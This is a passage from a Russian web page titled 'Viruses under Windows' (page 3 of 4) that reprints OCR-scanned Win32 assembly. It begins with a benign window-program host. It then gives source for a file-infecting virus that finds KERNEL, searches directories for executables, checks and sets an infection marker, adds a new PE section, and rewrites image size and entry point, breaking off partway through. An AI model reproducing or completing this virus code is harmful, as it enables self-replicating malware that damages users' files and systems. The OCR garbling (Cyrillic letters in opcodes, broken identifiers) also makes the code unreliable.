Смекни!
smekni.com

Вирусы под Windows (стр. 3 из 4)

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hlnst]

mov [wc.clsHlnstance], eax

[Загружаем значок

push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax

; Загружаем курсор

push L IDC.ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

.Инициализируем оставшиеся поля структуры WndClass
mov [wc.clsHbrBackground],COLOR_WINDOW+1
mov dword ptr [wc.clsLpszMenuName],0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName

;Регистрируем класс окна
push offset we
call RegisterClass

; Создаем окно

push L 0 .IpParam
push [hinst] .hinstance
push L 0 ;Меню
push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина
push L CWJJSEDEFAULT ;Y
push L CWJJSEDEFAULT ;X
push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx

.Сохраняем HWND

mov [newhwnd], eax

.Отображаем окно на экране
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow

;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow

;0чередь сообщений
msgJoop:

.Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем
[обработку сообщений и выходим из процесса

стр ах.0

je endJoop

Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage

Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage

[Переходим к следующему сообщению
jmp msgJoop

;Выход из процесса
endJoop:

push [msg.msWPARAM]

call ExitProcess

.Обработка сообщений окна. Win32 требует сохранения регистров

;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их
WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD

[Проверим, какое сообщение получили, и перейдем к обработке
cmp [wmsg],WM_DESTROY
je wmdestroy

стр [wmsg],WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg],WM_SIZE
je wmsize

cmp [wmsg].WM_CREATE
je wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WM_PAINT

je wm paint

cmp [wmsg],WM_GETMINMAXINFO

je wmgetminmaxinfo

Данная программа не обрабатывает это сообщение.
.Передадим его Windows,
:чтобы оно было обработано по умолчанию
jmp defwndproc

.Сообщение WM_PAINT (перерисовать содержимое окна)
wmpaint:

Подготовим окно для перерисовки
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax

;Переведем в ASCII-формат значение mbx_count, которое
доказывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

; Вывод строки в окно

push L MSG_L ;Длина строки

push offset szPaint ;Строка

push L 5 ;Y

push L 5 ;X

push [theDC] ;DC
call TextOut

;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]
call EndPaint

; Выходим из обработки сообщения
mov eax, 0
jmp finish

;Сообщение WM_CREATE (создание окна)
wmcreate:

; Выходим из обработки сообщения
mov eax, О
jrnp finish

[Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:

push [Iparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

[Выходим из обработки сообщения
jmp finish

[Сообщение WM_DESTROY (уничтожение окна)
wmdestroy:

[Закроем поток
push L О
call PostQuitMessage

[Выходим из обработки сообщения
mov eax, О
jmp finish

.Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)
wmlbuttondown:

inc [mbx_count]

[Обновим содержимое окна
push L О
push L О
push [hwnd]
call InvalidateRect

[Выходим из обработки сообщения
mov eax, О
jmp finish

[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

push L 0
call MessageBeep

; Выход им из обработки сообщения
jmp finish

;Сообщение WM_SIZE (изменен размер окна)
wmsize:

[Выходим из обработки сообщения
mov eax, О
jmp finish

[Сообщение WM_GETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:

[Заполним структуру MINMAXINFO
mov ebx, [Iparam]

mov [(MINMAXINFO ptr ebx).mintrackposition_x],350
mov [(MINMAXINFO ptr ebx).mintrackposition_y],60

.Выходим из обработки сообщения
mov eax, 0
jmp finish

[Выходим из обработки сообщения
finish:

ret
WndProc endp

Процедура перевода байта в ASCII-формат для печати. Значение,
[находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES:EDI
HexWriteS proc

; Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah.al
and al.OFh
shr ah,4

[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды
[соответствующих символов ASCII. Если число,

;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h

.Меняем полубайты местами, чтобы регистр АН содержал младший
.полубайт, а регистр AL - старший
xchg al.ah

;Проверим. надо ли корректировать младший полубайт,
.если да - корректируем

cmp ah, 39h

ja @@4

[Проверим, надо ли корректировать старший полубайт,
;если да - корректируем
@@1:

cmp al,39h

ja @@3

;Сохраним значение по адресу ES:EDI
@@2:

stosw

ret

.Корректируем значение старшего полубайта
@@3:

sub al, 30h

add al, "A"-10

jmp @@2

[Корректируем значение младшего полубайта
@@4:

sub ah, 30h

add ah, "A"-10

jmp @@1
HexWriteS endp

[Процедура перевода слова в ASCII-формат для печати.
[Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite16 proc

;Сохраним младший байт из стека
push ax

;3агрузим старший байт в регистр А1_
xchg al,ah

.Переведем старший байт в ASCII-формат
call HexWrite8

; Восстановим младший байт из стека
pop ax

Переведем младший байт в ASCII-формат

call HexWrite8

ret
HexWrite-16 endp

Процедура перевода двойного слова в ASCII-формат для печати.
;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI
HexWrite32 proc

.Сохраним младшее слово из стека
push eax

; Загрузим старшее слово в регистр АХ
shr eax, 16

[Переведем старшее слово в ASCII-формат
call HexWrite-16

[Восстановим младшее слово из стека
pop eax

[Переведем младшее слово в ASCII-формат

call HexWrite-16

ret
HexWrite32 endp

[Сделаем процедуру WndProc доступной извне
public WndProc
ends

[Здесь начинается код вируса. Этот код переписывается из файла
;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"

assume cs:vladseg
vstart:

;Вычислим текущий адрес

call recalc
recalc:

pop ebp

mov eax.ebp

db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)

;Сохраним адрес в стеке
push eax

[Вычислим стартовый адрес вирусного кода
sub ebp.offset recalc

.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL
mov eax,[ebp+offset kern2]

Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]
jmp movit

;Точка 2 не подошла, проверим точку 1
notkern2:

;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]

Проверим ключ, если ключа нет - выходим
cmp dword ptr [eax],5350FC9Ch
jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX
movit:

.Сохраним адрес KERNEL
mov [ebp+offset kern].eax
eld

;3апомним текущую директорию
lea eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir

; Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

;Ищем первый файл
infectdir:

lea eax, [ebp+offset win32_data_thang]

push eax

lea eax, [ebp+offset fname]

push eax

call FindFile

;Сохраним индекс для поиска

mov dword ptr [ebp+offset searchhandle],eax

.Проверим, найден ли файл. Если файл не найден,
.меняем директорию

стр еах,-1

jz foundnothing

[Откроем файл для чтения и записи
gofile:

push О

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax, [ebp+offset fullname]

push eax

call CreateFile

.Сохраним описатель файла

mov dword ptr [ebp+offset ahandj.eax

Проверим, не произошла ли ошибка.
.Если ошибка произошла, ищем следующий файл

стр еах,-1

jz findnextone

.Поставим указатель позиции чтения/записи на поле
;со смещением РЕ-заголовка

push О

push О

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес РЕ-заголовка
push О

lea eax,[ebp+offset bytesread]
push eax
push 4

lea eax,[ebp+offset peheaderoffset]
push eax

push dword ptr [ebp+offset ahand]
call ReadFile

.Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов

push О

lea eax, [ebp+offset bytesread]

push eax

push 58h

lea eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

[Проверим сигнатуру. Если ее нет, закрываем
;этот файл и ищем следующий

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

.Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],OFOODh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

[Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

;Считаем весь РЕ-заголовок и таблицу объектов
push О

lea eax, [ebp+offset bytesread]
push eax

push dword ptr [ebp+offset headersize]
lea eax, [ebp+offset peheader]
push eax

push dword ptr [ebp+offset ahand]
call ReadFile

[Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],OFOODh

[Найдем смещение таблицы объектов
xor eax.eax

mov ax, word ptr [ebp+offset NtHeaderSize]
add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax

[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]
add esi,eax
xor eax.eax

mov ax,[ebp+offset numObj]
mov ecx.40

xor edx.edx

mul ecx

add esi.eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi.esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address
;или RVA) нового объекта

mov eax, [edi-5*8+8]

add eax,[edi-5*8+12]

mov ecx.dword ptr [ebp+offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта
mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax

.Вычислим виртуальный размер нового объекта
mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax

; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign]
xor edx.edx
div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

[Обновим размер образа (размер в памяти) файла

mov eax,vend-vstart+1000h

add eax,dword ptr [ebp+offset imagesize]

mov ecx, [ebp+offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset imagesize],eax

.Скопируем новый объект в таблицу объектов

mov ecx, 10

rep movsd

[Вычислим точку входа RVA

mov eax.dword ptr [ebp+offset RVA]

mov ebx.dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax